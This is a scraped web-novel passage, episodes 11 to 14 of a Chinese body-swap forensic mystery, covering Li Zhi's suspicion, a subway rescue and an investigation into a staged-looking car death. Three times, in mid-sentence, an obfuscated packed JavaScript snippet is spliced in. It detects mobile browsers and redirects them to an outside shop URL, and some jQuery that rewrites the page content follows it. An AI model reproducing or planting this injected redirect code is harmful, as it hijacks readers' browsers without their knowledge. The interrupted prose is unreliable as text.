安轻言顺势望向他,可眼神又不是在单看“傅霖”,似乎在想着另一个不在场的人。他很快意识到自己的失态,咳嗽一声后,掩饰般地扯开话题,又是熟悉的谈笑风生的神态。 商河星突然意识到,他们并没有想象中疏远黎稚,相反的,他们对黎稚有种自己都没有意识到的莫名的服从和尊敬。 黎稚明明是团队里面最沉默最边缘的人,可现在的情形似乎大有出入。 “……” 商河星惊疑不定,尤其是他还没有忘记黎稚那深沉莫测的表情,忍不住猜疑起这人该不会有什么洗脑的本领。 可他现在是傅霖的身份,偏偏不能问。 问了,就容易泄底。 何其思好不羡慕,“现在你和黎稚关系最好了。” 商河星笑了笑,只是他没办法违心地做出骄傲的笑容。 晚间和他们几人周旋了两三个小时后,商河星才回到房间开始搜索「黎稚」这个只有脸有存在感的NPC。 意外地,他发现关于黎稚的传闻并不算少。 黎稚几乎就像是理想化的教材里面走出来的一样。他从小学开始,他就一路获奖,最终保送到了现在大学的法医专业。他在大一年级开始,就和导师们一同进行科研活动,还成功地在含金量极高的科研期刊上发表论文。这些成就为他赢得了导师和同学的认可,甚至成为了社交圈子的中心人物。 最让人侧目的是,他出众的外貌中,还带着如沐春风般的风度和沉稳,与其学术上的锐气相得益彰。在他的中小学论坛里,到现在仍然有人讨论和敬佩他。 尽管各方面条件都很优秀,黎稚从未有过恋爱绯闻,就像是这个人把自己的一生献给了自己的学业和事业,是个正统到无可挑剔,优秀到无懈可击的学生。 “……” 这人在团队里面低调到可怕。 如果说经过这晚,商河星觉得其他人还有点人情味的话,他已经觉得黎稚就是完全的假人,虚假得不真实。 就在商河星还要找出这人的真面目时,一条来自黎稚的短信便在手机屏幕里冒了出来。 商河星才注意到他搜黎稚的资料忘记了时间,都已经到了深夜。 而黎稚突然来找他聊天。 商河星下意识地翻了一下过往的历史记录,黎稚极少会在晚上打扰傅霖,可是他现在又来聊天。 若是没有晚上那一插曲,商河星自然是认为黎稚是来试探他的,可偏偏现在他多了一种莫名的想法。 也许这人真的把傅霖当做是自己最好的朋友,舍不得呢? 直到最后黎稚若有似无地谈起了「商河星」。 他提到「其实和他(商河星)认识那么久,没办法顺利地和他成为朋友,一直都是我的遗憾」时,傅霖因为这句话,冷笑了一下。 “黎稚,这人真是有点意思。” 11. Episode 11 Episode11「第三人称视角」首先是强烈的心跳 毫无疑问,黎稚这种反常的举动让人很可疑。 在欢送会结束不到一天,他本人就对「商河星」感兴趣。这很明显是一件反常的事情。 「他怀疑我了」。 商河星入睡前,脑海里面只有这句话。 他闭上眼睛,身体沉重的困倦也跟着恍惚的睡意而来。 来Anubis那么久,他第一次做了梦。 商河星梦见自己是个小孩,站在人群中,被无形的目光盯得发毛。突然,耳边传来一句讽刺:“单亲家庭的人心理都有病。”那句话如同锋利的刀刃,刺入他的心口,愤怒让他几乎无法呼吸。全身的血液也跟着冻结,充斥着一股无法忍受的羞辱感。还没等他发作,旁边的拿着棉花糖的小伙伴拉他,让他咬一口甜蜜的棉花糖。于是,商河星下意识地把他的手推开了。 小伙伴也不伤心或者生气,只是关心地看着他,“河星,怎么了?” 商河星转身便是逃跑,不停地跑。 直到自己在梦中摔倒,他才又睁开了眼,身体才逐渐恢复了自由。 然而,梦境带来的冲击仍在心头翻腾,久久不能平息。 商河星重新检查时间。 「早上5:13分」。 他不想睡了。 时间还太早。 也许是因为傅霖的身体,商河星并没有觉得半点沉重疲倦,反而轻松得很。他想起昨天傍晚的时候,在小狗的事情并没有处理得太好。 即使小狗可能濒死,但是只要最后它受到过闷压,根据法医学专业知识可以知道,窒息必然会导致眼睛或口腔黏膜的点状初学,内脏和呼吸道也会有异常。 为了避免被经手的黎稚发现奇怪的地方,商河星全程负责。 即使直到结束的时候,商河星都没有见到黎稚对那条狗起疑,商河星还不想让自己的错误继续发酵。 处理完一切后,商河星回到宿舍,盯着镜中的“傅霖”琥珀色眼瞳,眉头微皱,眼中冷意渐浓,“就算黎稚怀疑,他也没有证据证明这具身体里面的人是谁。这个世界可没有所谓的怪异神灵,他怎么会短短不到十二小时就猜到问题所在。” 等等,不对。 他想不到才对。 商河星突然意识到自己又犯了同样的错误——过度敏感,草木皆兵。 黎稚之所以会表现反常,很可能只是因为他本人就是无法失去别人的关注。黎稚想吸引注意,尤其是在那天早上第一次见面时,他就留意到“傅霖”没有关注他。。 “……” 可是一个NPC会有这么复杂的想法吗? 不过总的来说,还是自己吓自己。 此刻他表情平静地凝视镜中的自己,可在镜子以外的领域里,他的指尖轻轻敲打着洗漱台,这个小动作无意识地在重复。 现在关键是,傅霖在哪里? 他对着镜子熟悉的陌生人,又像是要把声音传到更远的地方。他微微停顿一下,视线依然牢牢锁定自己的倒影,语气里面有着微不可见的试探和算计,“傅霖,如果我们真的一体双魂,与其闷声不说话,还不如大方地交流。” 商河星的声音在小小的空间里面回响着。他已经联通了所有在线的监控摄像头,只要傅霖出现在镜头里面,商河星绝对会把他找出来。 不过,现在傅霖的社交圈还需要继续维持。 商河星花了整个上午练习傅霖的社交方式,熟悉他说话的口吻和用词。正要想着去找人练习,印象中比较内向的小庄突然私信联系自己,“傅霖,你的机会来了。黎稚想要去一个地方,需要有人陪,你快去!” 这个短信让商河星产生了一种奇怪的错位感。 因为在欢送会上,小庄还是被黎稚带到自己面前,而现在黎稚被小庄带到自己面前。 商河星倒是很好奇这是黎稚吸引注意力的新招式,还是小庄的自作主张。 如果是前者的话,商河星基本有百分之八十的把握,黎稚其实并没有发现自己出现了变化。如果是后者的话,反倒就是一种无聊的节外生枝。 “黎稚怎么想的?“ 小庄心思很浅,一测就见底。 小庄果然没想太多,立刻回应道:“他说要找个可靠的人,这不就是在说你吗?“ 确实,现在没有比Anubis之光更可靠的人了。 可是就这么顺了黎稚的想法,商河星内心里面反倒不太想那么容易如他愿。正要拒绝,小庄立刻说道:“傅霖你在这里待的时间也没有那么长了,黎稚还想办法跟你多待点时间,你拒绝就亏大了。” 小庄喋喋不休,“黎稚很少这么邀请人的。” 商河星发现,这小庄与其说是为了帮他,倒不如说她也是跟小团队其他人一样,都以黎稚为中心,想着哄他开心。他们也很理所当然地认为傅霖对这个人很上心。 也不知道他们知道黎稚会意外死亡的话,会露出什么样的表情? 商河星突然冒出这个阴暗的念头,嘴角溢出一丝冷意。紧接着,他又灵光一现,如果傅霖真的那么在意黎稚的话,他要是出事,他是不是也会出现? 这并不是不可行的。 对商河星来说,黎稚就是个NPC而已,如果能逼出傅霖的话,这对他来说并没有任何坏处。 “时间是什么时候,在哪见?”商河星反问道。 “今天下午四点半前到吧,”小庄高兴地说道,“你不用谢我!” 商河星:“……” 他并没有想谢她。 ※ 商河星在四点的时候就到了,坐在空旷的出口大厅里面等着黎稚出来。 他向来不喜欢和尸体打交道,哪怕只是间接的。他对那些让人联想到动物原貌的食物也一样避之不及,稍微露出部位轮廓的肉类就足以让他食欲全无——那些带着骨节的鸡脚、泛着油光的猪蹄,还有那双眼微张的鸭头……都让他觉得恶心。 由于等的时间过于漫长且无趣,商河星短暂地回忆起为什么自己不太喜欢黎稚。 黎稚是法医专业的学生,且从旁人的话里面可以知道他似乎对这个专业真的充满热情。每次遇到黎稚,商河星总觉得他带着一丝挥之不去的尸体气息,就像是从骨子里渗透出来。那种气味说不上来是错觉还是心理作用,但只要站得稍近,他都会不由得屏住呼吸,会觉得那股阴冷的味道也会渗入自己的皮肤一样。 等了将近快一个小时,商河星才等到了黎稚从门口出来。 他见到自己的时候,还要装模作样地露出一脸惊讶的表情,脸上有很不自然的表情。 商河星实在看不出黎稚有任何值得欣赏的地方。他的外貌谈不上出众到让人惊叹,荧屏上比他更优秀的人也不少;学业上也不过平平,和那些真正的天才相比简直云泥之别。无论怎么看,黎稚都平凡得毫无亮点,就是一个长相尚可的学霸而已。 他说他只是希望有人陪他去买惊喜礼物。 黎稚说道:“我也要买送别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137485|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼物给商河星。我们之后不是要去见他吗?” 商河星不耐烦,却强压下情绪,违心地说道:“黎稚,你真的太体贴了。” 步行去轻轨站的时候,他和黎稚基本上没有什么话可以说。从聊天记录来说,傅霖和黎稚并没有分什么「谁占主动权」。他不主动说也没有关系,而他原本也有刻意冷处理黎稚。说实话,如果能趁机点破他阴暗的想法的话,商河星非常乐于见他尴尬的表情。 “商河星好像喜欢奥赛罗棋。我知道哪里有卖手工棋子。”黎稚突然说道,“我们先去买他的礼物吧?” 商河星闻言一怔,忍不住侧头看他一眼,“你怎么知道的?” 黎稚:“去年九月份,我们所有人去商场的时候,他在橱窗位置多看了两秒。” “……原来如此。”商河星心中一动,冷淡的语气中也带了一些不接,“…那你为什么之前不提呢?” 黎稚突然低头,似乎回忆起什么,淡淡地说道:“他不会承认自己这一点的。他会比自己想象中的更在意别人对他的关注,哪怕是那来自充满好意的关怀。我在想,如果轻易点破这些,反倒像是打扰他为数不多的清静和自在。” 这一些听似平淡无奇的话,无异于一颗石子惊起商河星心湖里的波澜。 他没有想到黎稚三言两语间就点透了他的冷漠与拒人千里之外,却半点不说他性格差劲或者刻薄冷漠。 “……” 列车到站还有一些时间,黎稚主动去买水。这个空隙也让商河星又重新整理自己的思路。只不过两三秒,他注意到有个熟悉的身影从他背后穿过。 这人从司法鉴定中心就一路跟着他们。 从衣着打扮来看,那人应该是白领阶层,有一定的社会地位,外表形象也很好。而他的伪装却只是把自己的脸藏在围巾里面。 Anubis里面多的是犯罪者。像是米国连环杀手泰德·邦迪(TedBundy)这种表面衣冠楚楚,斯文得体,实际上是冷酷残忍的凶手类型也并不奇怪。 商河星并没有把这个跟踪者放在心里,见他把自己藏在人群里,直接往黎稚的方向走去,甚至有些抱着看好戏的状态。 如果黎稚出事,那傅霖是否就会出现呢? 然而,商河星却并没有等到傅霖。 就算是黎稚被人推下轨道后,高喊了傅霖的名字,被迫下场救他的也是自己。 要是以往的话,商河星绝对不可能会有这样的气力或者决心去救人。他从轨道上重新站回站台时,他胸口处还能够感觉到从黎稚背脊上传来的强烈的心跳声。这无疑点明了他之前确实做了救人的行为,也差点在生死一线徘徊。 然而,最让他不安的,并不是对“傅霖”这具身体掌控上的不适应,或者是死后余生的惊险,而是他发现黎稚身上并没有尸体的味道,确认代之的是一种某种温暖又似曾相识的木质东方香调,安定,温暖,细腻,微微有点坚果的甜。 这股香气让他瞬间感觉到了某种失控的真实感——黎稚不是死气沉沉的NPC,而是活生生的人。 商河星久久不能摆脱这种认知。 这让他感到不适。 就在这时,黎稚的目光和他对视,笑意温和,亲近道:“傅霖,谢谢你救了我。” 这声音很轻,语气也是平淡,却像极了在挑战商河星的理智。 要是告诉他,傅霖早就被自己杀了,他还会敢靠近一步吗? 在心里轻吐一口气,商河星把这个无聊的较劲再次扔掉了。 12. Episode 12 Episode12我都不知道他在做什么 我点的牛肉粉真的好吃,清汤细粉。 汤头虽然看起来清淡,但是很浓郁。一尝就知道这是用牛骨熬了好几个小时,又过滤了很多次,才有这么清澈的汤底。 喝起来就很温暖治愈,清浅温和。 话说,我要给他们剥小龙虾,小庄真的认为是开玩笑。她只吃了一个之后,就自己开始动手了。至于“傅霖”,不管他抱有什么样的想法,在生蒜之后,都结束了。他不喜欢动手,所以只说他不饿,就结束了。 不过,吃东西不是我们的重点。 重点是周秋莹的案子。 通过周秋莹的车祸骨折情况,我们可以逆推出肇事车辆的量级以及当时的车速。 Anubis全城的监控并没有想象中那么普及。这也是为什么警察在车祸事故发生之后,过了将近一个星期,还没有调查出任何肇事车辆的线索。 按照探案的黄金定律,现在已经错过了查案的关键时间。 时间越晚,越容易耽误查案时间。 尸体外部擦伤比较严重,看不出多致死的伤口,不过解剖后内部多处骨折,尤其是腿部和盆骨。这应该是横穿马路时遇到的车祸事件。而根据伤口的程度,这应该至少是高达40公里以上的时速的大车所致。大车车头高,车辆重,(包括SUV型号的也属于大车范畴),脏器破裂的位置也跟着提高。 “血液中的锌镁钙等微量元素含量出乎意料的高。” 锌浓度正常应该70-120?g/dL,但现在达到了145?g/dL,血液镁和钙含量也不正常。 “傅霖”问:“这应该不致死吧?”说这话的时候,他微微蹙着眉。 这目光有些刺眼,像是我在掩盖关键信息,不愿意和他分享似的。 我故意低头不去看他,继续翻阅尸检报告,“身体会难受,恶心呕吐,食欲不振等问题,但不致命。” 我继续翻着尸体的报告,据说我妈把整个尸体里里外外都给翻了一个遍,每一个部位,每一个器官都翻得个遍,但查不出意外车祸以外的信息。至于物证上面,周秋莹的衣服上有一个纽扣不见了,现场并没有找出那一个纽扣。 “纽扣呢?” 小庄好奇地看着报告。法医的报告一般都很细,有图有证据。就算是倒着看,远着看,都能觉得图片有血肉模糊的污浊。 我不知道其他人看死人和活人的照片感受如何。不过,死人的照片,尤其是法医手里的会显得格外的灰败死寂。同样是看起来像睡着的模样,死人的就是明显更可怕一些,可能是他们总能有那种非同寻常的表情和诡异的姿势。 我解释道:“只是丢失一枚纽扣而已。可能是在车祸的时候崩裂,掉在沿路的草丛里面,或者是被卷跑到其他的地方;也可能是在车祸前,早就丢失了。” 像是小说那种一颗不起眼的小物件最后成为案件的关键。 这情景固然让人眼前一亮,又或者是读者会说,这么重要的东西,警察都没有看到,是不是太没用了。可是基于实际来说,像这种微小的物件在一个死者身上少说也有几十个,且没有确切证据就开始研究其中一个小物件,这无疑是在浪费警力和时间, 我说的时候,忍不住瞟了一眼对面的“傅霖”。他没有看小庄手上的资料,像是刻意避开,反而随意把视线放在我手边,若有所思地盯着我手边的纸页。这视线盯得我的指尖都重了重。也不知道他在想什么阴谋,我被他无声的注视压得不自在,只能故作轻松地问道:“沿路没有任何监控摄像头吗?” “没有道路监控。”“傅霖”很快就回道,“报告上不是说过吗?” “不是,我是想说沿路有没有门店。”我继续翻另一本报告,果然看到了警察的走访记录。不过,视频监控资料只保存24小时,就自动消除了。 整个过程挺合理的。 如果不是尸体口腔中那张突如其来的字条,这场意外几乎无懈可击,但它的出现改变了一切。 毕竟,要不是被要求做第二次法医尸检的话,我也不会被盯上。 小庄好奇地问道:“这会不会就是预告式杀人,这是由犯罪咨询师策划的完美犯罪?” “预告式杀人的话,至少要在人死之前就有这张纸条。而我们都知道,纸条是在口腔里面发现的。如果我们真的是预告,那么在送去医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174406|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院的救护车上就会被发现。可在第一轮尸检结束后,才发现这张纸条。很显然,是某个法医或者APT无聊放在口腔里面的纸条。” 我对这个并不太想要追根究底。 “那怎么办?” 小庄一听就炸了,左右看着我和“傅霖”要意见,说道,“这不就是拿他没辙吗?他可是害黎稚的人啊,一定要治治他。” 看着小庄急得直冒火,我有些无奈,她显然是气急了,完全顾不上细节的合理性。 事实上,在上世纪初,有一位法国法庭专家和侦查家埃德蒙·罗卡提出过一种理论——罗卡物质交换定律。这个定律的出现真正敲实了一种说法,「没有真正的完美犯罪,只有还没有发现的线索」。 更别说,这是一本推理漫画。 如果找错的线索,没有消失的证据。 我正想说,我们可以亲自去现场看了一下,或者去和林全家了解一下。因为周秋莹的身体的微量元素的变化,还有之前我爸说周秋莹和她丈夫之间关系的变化,也是疑点。 然而才刚开口,声音还没有冒出来,小庄一手抓住“傅霖”的手腕,满眼期待地说道:“要不这样,傅霖你假扮成黎稚……“ 她顿了顿,用明亮的声音说道:“就好了呀!”直接模糊掉她可能要说的「替我倒霉」的话。 真是好孩子。 我感动地拍拍她的手背。 这话刚结束不久,“傅霖”便戳破了这个幻想的泡泡,眼神中甚至带着一丝挑衅说道:“真要做扮演游戏,恐怕得先帮我截肢才行。”说完之后,他还刻意上下打量了我一眼。 “……” 这人是不是在拐弯抹角地说我是矮子?还是在说我腿短? 似乎注意到我的表情不虞,他正要笑起来,我也不生气,就是淡淡地说道:“傅霖,看来和商河星相处还真是‘耳濡目染’,话里话外那股口气真是越来越像了。” “傅霖”嘴角的笑意瞬间僵住,随即也收了回去。 哼——! 我都不知道他要惹我做什么。 我慢条斯理地说:“扮演的说法还是有点天真了。不过,我们可以去林家勘查一下。” 13. Episode 13 Episode13经典的三选一 我们在Anubis刑侦局有熟人。 主角阵营里面的何其思他妈妈是特勤队的队长。过去查案子的时候,傅霖他们少不了要走点人脉,才能近距离地接触到案件具体信息,或者接触案件的人。 我们要去拜访林全,需要再次取证,就少不了要和他本人联系的。 何其思说他可以帮忙带我们见面,他有警徽。 “可以名正言顺地敲门。” 我很少跟着他们查案,不过他这么一说,我就觉得他以前绝对是干了不少违法私闯他人屋子的事情。下意识地,我抱着好奇,多看了几眼。 何其思还是跟在“傅霖”旁边又笑又闹的,不过没有从前那么浮躁。 仔细想想,这也对。 现在,大家都步入职业阶段了。像是那种随便的做法——忽视规则或破坏规则,查到案子时总爱用上一些让人心惊肉跳的手段,都已经开始成为了过去。 我突然后知后觉,新漫画不会是那种主角团成长后,被凹成各种社会形状的故事吧? 不是有那种很常见的写法吗? 就是主角团们年少青春时恣意飞扬,内心充满梦想和希望,长大之后在社会磨砺中失去激情,开始失业、失意、服从社会规则,人生过得憋屈。直到再次发生大事件之后,他们重新捡起过去的技能,解决难题,最后在挫败的人生里面找出自己出路的一点光。 我觉得这种故事固然好写,不过对于真心喜欢这些角色的人会觉得很难受吧。 我刚还在想,就注意到何其思觑着我。他也不回避,倒是大大方方地朝着我笑,“黎稚,你还有没有上次那种饼干?” 讨要零食的还是那么不客气。 我开始掏腰包,“今天是奶糖,可以吗?”今天的零食盲盒是胶质奶糖,但不会太软,有点嚼劲,奶味也很足。 “可以!黎稚放话,怎么会不可以?”何其思笑起来是真的会把眼睛眯起来,无忧无虑的,跟之前认识的一模一样。 事实上,傅霖原身和何其思之间的温度差很大。何其思总喜欢打破严肃的氛围,而傅霖会偏爱理智思考。 我完全不擅长应对自来熟的人,应对这句话的时候,就是笑。 没有什么是笑容解决不了的。 如果有的话,那就问点对方难过的事。 当然,这只是想想而已。 * 跟昨天一样,雨是连绵的。 周五下午的时候,才稍微放了晴。听说黄昏之后还会有雨,我带着长直伞,小庄也带了折叠伞。 林全说晚上还有一点事情,会晚点到家。 何其思主张可以在周围的地区探访了一下情况,还专门挑了他家附近网红自助烧烤店,提议让我们先吃一顿。 我们一见面就吃吃吃,会不会不太好啊? 坐车的时候,我先看了一下店的推荐——那家的冷面看起来好好吃,还是强推! 这个可以。 店是有提前预约的,所以一到就可以吃。 环视一周,我发现,店里面的客人大部分都是以家庭为单位的。 店老板一见我们就很热情,问我们是不是附近的居民。如果是的话,店可以提供折扣。 “我们怎么证明是不是呢?”小庄好奇地盯着店老板,问道,“我们说是不就可以吗?” 店老板便笑,“公民证上面不是有你的家庭住址吗?看一眼不就可以了吗?” Anubis有个数字公民证。 这是Anubis建立时数字化政府推行的政策之一。 只要到15岁以上,就可以申请数字公民证。申请这个数字公民证的居民可以享受很多的福利,比如说教育上学费的折扣,18岁到24岁之间如果没有工作,政府每个月都会发给500~700安币,申请贷款也会有优惠,出境的时候也不用申请签证。在长期执行下来,几乎所有的Anubis居民都有一张数字公民证。 不过,提交申请时,除了要到执法机关里面拍摄大头照之外,政府还会要求留下指纹、虹膜和血液样本。这在埃塞尔市长上任时得到最大的应用,有一度将犯罪率降低了7个百分点。当然,犯罪率依旧居高不下。 公民证里面包括真实姓名,性别,年龄,以及家庭地址。 “傅霖”扫视了周围一眼,“所以,这里都是附近的居民了?” “大部分都是附近的居民。”店老板笑吟吟,“也有新客人。会这么问的,你们应该就是新客人吧?” 她拿着订单用的平板又问道:“怎么样?你们想好要吃什么了吗?” “傅霖”很显然还有问题,不过他看那店老板也不是有那么多清闲的一对一问答时间,顺势接过她手上的平板,说道:“老板,有什么推荐的吗?”说这话的时候,他还要看我一眼。 这把我看得不明不白的。 店老板立刻介绍道:“黄牛肉串、多春鱼和冷面都是这里的必点。我们的冷面里面的苹果片和白萝卜片都很爽口,请一定要试试。”她指点着我们怎么点单。 “傅霖”顺势翻了翻,订了一份冷面,“你们谁也要吗?” 我正想要开口,“傅霖”又说:“不过一份很大,我们可以分着吃。” 我又悄悄地瘪了。 因为我也想留着肚子吃别的。 还在思考着要不要分食,“傅霖”已经把平板递到我面前。可没等我不及反应,“傅霖”就把平板给了何其思。 我:“……” 店老板目光正追着何其思看,而“傅霖”又看着店老板,冷不丁地说道:“其实我们几人是警察。” 店老板的眼皮明显跳了跳,面容又堆出更多的笑意,“警察来这里办案啊?” “对,我看你对周围的环境很熟悉,最近有发生什么事情吗?”他说道。 店老板扫了一下几人的表情,迟疑片刻才回复道:“这里入室偷窃还挺猖獗的。不过,入室偷窃在哪里都还是挺常见的事。” 在Anubis确实常见,但她说这话就不太对了。因为第一句在承认情况,随后又在淡化这个事实,这种回答是有点敷衍的,更像是在回避问题。所以她的这两句话显得有点矛盾,至少要加一句“这算是一个消息吗”。 我还在等还有没有下一句,可她的声音已经没了。 “还有更多细节吗?”“傅霖”似乎并不满足这个泛泛的回答,追问道,“比如你有听说哪种类型的住户更容易被盗,或者说,哪个区域发生的次数比较集中?” “这不太清楚,但好像听说发生这种情况的不只是独居的单身女生,独居的单身男性,或者一个屋子里面住着一大家子人的都有。” 我忍不住泛起一点疑惑,“都是新搬过来的吗?” “有新的,也有一直都住在这里的。”店老板说道。 “……” 这有点奇怪。 见店老板还看着我,我笑着摇头,“没问题了。” 只要围绕着“入室盗窃”的话题,店老板提供的信息非常分散又模糊。再加上,入室盗窃肯定都会有特定的目标,找的都是容易下手的人,可是她提供的回答显得盗窃目标毫无定律,没有特定的模式,也不知道是真是假。 继续问下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177047|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是再耽误时间。 何其思在我说完之后,顺势开口,“你认识周秋莹吗?她也住在这里附近。” 店老板沉默了一会,我以为她会选择说不知道,又或者说新闻上的事情,她很快就说道:“丈夫是医生的那位对吧?她经常来我这里吃饭,收集了很多积分卡。” 这就合理了。 如果她说不认识,不熟悉,结果在林全家发现很多积分卡,这对热情的店老板人设并不是很有利。 这话说到这里,店主就忍不住叹了一口气,“那么漂亮的人就这么死了,太可惜了。” “傅霖”正色道:“那段路没有足够的灯光,再加上是周秋莹要走捷径,才会发生这些不幸。” 这样的情况并不少见,许多人图省事,不走石桥那边的安全路,偏要横穿车道。 何其思也跟着问:“那你对她的丈夫了解吗?” 他说这话的时候,有店员从我和小庄中间放了四盘凉菜:凉拌豆芽菜、芝麻甜土豆、雪菜酸豆和盐焗花生。我的视线就跟着他的动作动了动。店员还跟我特意指了一下甜土豆,然后对着我竖起了大拇指。 我立刻就懂了,马上起筷子。 那个甜土豆真的很不错,边角被熬制出有点胶质的口感,甜味恰到好处,不会齁,甜度也不会停在表面上,真的非常好吃。 不过一个小碟子只有四块而已。 等我反应过来的时候,他们已经说在讨论店老板说的「周秋莹怀孕」的事情。 中间他们不知道说了多少。 店老板也走了。 我:“!” 我应该只错过了一(亿)点点。 小庄疑惑地看向我,求证道:“可是她的身体并没有……” 我也微微皱眉,仔细回想着之前发现的那些数据,有了些明确的想法,“是的,并没有曾经怀孕,或者正在怀孕的现象。不过,我们能看到血清中的矿物质变化。这说明,这段时间,她为了佯装自己怀孕服用了大量的补充剂。” 何其思听后沉默了片刻,他的表情从轻松转为严肃,“假装怀孕这是一个极端的手段了,更被说她丈夫也是医生,能这么做肯定是因为她和林全之间的关系发生了什么变化。” 他顿了顿,跟我们解说道:“之前走访报告里面也曾经提过,林全和周秋莹在半年前的关系发生了变化。要是她开始要用假怀孕来挽回这段关系,这说明她真的无计可施了。” “也就是说,”小庄也装上了雷达,“林全是不是有可能出轨了?” 她竖着手指,说道:“一段感情发生变化,女方要想办法需要想办法挽回,那必定是男方出现了问题。” 小庄兴奋地拍着桌子,说道:“不用想了,这一定是林全出轨了。他的情人痛苦,纠结,难受,不甘,懊恼地忍了半年。结果,偶然一个机会知道,她其实周秋莹并没有怀孕,就是来骗林全的!” “因为气愤和恨意按捺不住,所以那个情人决定要铲除拦路石。林全意识到是自己情人杀的人后,为了掩盖情人犯罪,所以才假装一问三不知,也反对第二次尸检,生怕把自己的情人暴露出来。”小庄来回看我们三个人,“你们说得对不对!” 不管怎么样,我给她放了一块甜土豆,“你说得很有道理。这个好吃,快吃!” 小庄觉得我在哄她,有点不开心。 我安抚道:“调查林全是有必要的。” 何其思也跟着附和。 “傅霖”一锤定音,道:“不过这家店也有问题,也许他们也知道周秋莹的死因。现在我们一共有三处怀疑方向。” 经典的三选一,虽迟但到。 14. Episode 14 Episode14与死神的猫鼠游戏 刚下完单不久,很快各种带着血色的生食就被一一摆在了桌面上。 血水慢慢侵染着底下的生菜。这是寻常可见的画面。不过自我代入“傅霖”的视角后,红绿交错,本该增进食欲的色彩现在多了几分森然。 眼前景象倒更像是一场解剖实习课,摆在面前的内脏标本,而非美食本身。 然而,“傅霖”还是对此能够面不改色。直到最后两道端上来——两盘洒满葱花、香菜和辣椒,以及跟白花花的豆腐一样的猪脑放上来后,有一瞬间,他的表情微微一僵,身上克制不住渗出了一丝寒气,视线也不由自主地朝我投来。 那眼神中带着一丝凉意,如同刀锋般尖锐,就像是要当场把我杀了。 不过不到一秒,就像一场错觉。 最近“傅霖”没有什么大动作,还装傅霖装得越发娴熟,而我又是容易安逸的性格,一来一回差点忘记这人可是背刺傅霖,没血没泪的狠人。 我之所以和他出行的时候必定要第三人,无非是因为想要在关键时刻给“傅霖”增加几分顾虑,毕竟动手杀人时,多一个人在旁边,总得多一层掣肘,给他多一种不确定的压力。然而,这并不意味着他毫无可乘之机。毕竟,他现在有商河星的思维模式,还有傅霖的身体能力。 漫画预告里面提到的雨天在现实中还没有过,我的危险期还没有完全结束。 早上的我也跟着看了天气预报。 根据气象报告来说,这周的雨天会持续到星期六晚,之后会迎来连续一周的晴天。也就是说,我的危险期在周日之前,才有可能结束。 这就意味着我可能还要和“傅霖”周旋一天有余。 不过,我还是认为没有必要过分讨好“傅霖”,甚至还要刷对方好感。惹怒“傅霖”固然有危险,但一个人想除掉另一个碍事的人,什么理由都不算多。 他要是连这个小小的脑花难题都渡不过去,这人能力也就是这样了。我这些日子还在关注他,那简直就是白费心力。 我也肯定,漫画预告里面他的升咖(配角升主角),十有八九就是一个博取眼球的烟雾弹。就像是某全龄向动画片的萌宠每到一个新大陆都像是会与新角色互动一样,把旧角色完全扔出PV,每次都要吓得观众真的以为换主人了。 果不其然,这个难题就在“傅霖”面前走了一圈,就被用分食的理由,放在了何其思和小庄面前。随后,“傅霖”还主动帮忙烤。放在烤架上后,他正儿八经地开始分(zhuan)析(yi)案(shi)情(xian),说道:“林全虽然可疑,但是按照现场报告可知,造成周秋莹死亡的车子和林全名下的车子并不匹配。再加上,事故发生的时候,黎稚全程都在关注对方吧?” 被点了名,我也开口说道:“我并没有看到车祸发生的瞬间。到的时候,女生已经躺倒在地,男方则抱着女方。当时女方也有呼吸,上救护车的时候,也听到救护人员的对话声,她是在去急救中心的时候失血过多,抢救不及时才出事故的。” 我知道“傅霖”话里藏着的问题是什么。 于是,我继续明确地说道:“在我发现事故到救护人员围着林全和周秋莹上车的整个过程中,林全若是有做其他的事情,我肯定看得到。” “如果一定要说林全这人当天有什么疑点的话,”我稍作停顿,思绪在整理那些细节,声音中带着一丝沉思,“我确实有些疑惑。” “首先,”我轻轻皱眉,在回忆那时候的画面,“林全发现周秋莹倒地时,为什么要把车灯关掉?车灯开着,难道不是更方便检查伤势吗?哪怕只是为了提醒后方来车,这里发生了事故也可以?” 我顿了顿,声音微微加重,“其次,林全是医生,他应该知道急救的重要性。可是他为什么没有立即进行处理?” “再来,最让我疑惑的,是他在抱着周秋莹时的异常安静。即使心里慌乱,他应该会有所行动。” 我停顿了一下,转向旁边三人,“至少,这不像是遇到自己心爱的妻子出事时该有的反应。” 我当时就觉得这个人举止古怪,全程都和他保持距离。 “不过,当时他是背对着我,再加上视线晦暗,我不确定我是否漏掉了什么细节。” 